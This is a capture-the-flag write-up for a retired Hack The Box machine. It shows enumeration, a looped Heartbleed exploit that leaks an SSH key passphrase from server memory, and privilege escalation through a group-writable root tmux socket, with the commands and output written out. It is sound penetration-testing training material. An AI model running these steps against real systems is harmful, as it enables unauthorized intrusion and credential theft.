Target: Hack The Box, retired. Ubuntu 12.04, Apache 2.2.22, at 10.10.10.79.

Two halves, both worth having. The first is Heartbleed used properly - not “the scanner says vulnerable” but dumping memory in a loop until something useful falls out, which is how the bug actually behaves. The second is a privilege escalation that is not an exploit at all: a root process left a socket group-readable, and you attach to it.

Attack path

/dev/ directory listing --> hype_key (hex-encoded, encrypted RSA key)
                        --> notes.txt (hints at the decoder)

Heartbleed on 443 --> leak the passphrase from server memory
                            |
                            v
              decrypt hype_key --> SSH as hype
                            |
                            v
              root-owned tmux socket --> root

Enumeration

export TARGET=10.10.10.79
nmap -p- --min-rate 5000 -oA scans/all-ports "$TARGET"
nmap -sC -sV -p 22,80,443 -oA scans/services "$TARGET"

22, 80 and 443. The index page is a picture of the Heartbleed logo, which is the hint stated about as loudly as a box can state one.

gobuster dir -u "http://$TARGET" -w /usr/share/wordlists/dirb/common.txt -x php
  • /dev/ — directory listing enabled, containing hype_key and notes.txt
  • /encode.php and /decode.php

notes.txt says not to use the encoder or decoder until some work is done, which tells you the decoder handles something sensitive.

hype_key is hex. Decode it:

curl -s "http://$TARGET/dev/hype_key" | xxd -r -p > hype_key.enc
head -2 hype_key.enc

That is an RSA private key, and it is encrypted — Proc-Type: 4,ENCRYPTED. You need the passphrase.

If the hex arrives with spaces in it, strip them first or xxd -r -p produces rubbish:

tr -d ' ' < raw | xxd -r -p > hype_key.enc

Foothold: Heartbleed for the passphrase

nmap -p443 --script ssl-heartbleed "$TARGET"

Vulnerable. Now dump memory.

searchsploit -m 32764
python2 32764.py "$TARGET"

One request is not enough. The bug returns whatever happened to sit adjacent in memory, so it is non-deterministic. Loop it and keep everything:

for i in $(seq 1 500); do python2 32764.py "$TARGET" >> bleed.txt 2>/dev/null; done
grep -a '=' bleed.txt | sort -u

A decode.php request eventually appears in the dump carrying a base64 parameter:

echo 'aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==' | base64 -d
# heartbleedbelievethehype

Somebody pasted the passphrase into the site’s own decoder, and it was still resident in the server’s memory.

openssl rsa -in hype_key.enc -out hype_key
# passphrase: heartbleedbelievethehype
chmod 600 hype_key
ssh -i hype_key hype@"$TARGET"

Root: attach to somebody else’s tmux

cat ~/.bash_history
# tmux -S /.devs/dev_sess

ps aux | grep tmux
# root 1022 ... /usr/bin/tmux -S /.devs/dev_sess

ls -la /.devs/
# srw-rw---- 1 root hype 0 ... dev_sess

A root tmux server, with its socket group-owned by hype and group-writable. hype is in that group. There is no exploit here - the permissions simply say you may connect.

tmux -S /.devs/dev_sess attach

Root.

Worth knowing

The kernel on this box (3.2.0-23) is also vulnerable to DirtyCow, and it is tempting. The tmux route is better: it is intended behaviour being misused, it cannot crash the box, and a kernel exploit on a real engagement is a denial of service you were probably not scoped for. Reach for the kernel last, not first.

Note also what a leaked private key actually costs. Patching Heartbleed does not undo it - the key is disclosed, so it has to be rotated and the old certificate revoked.

Sources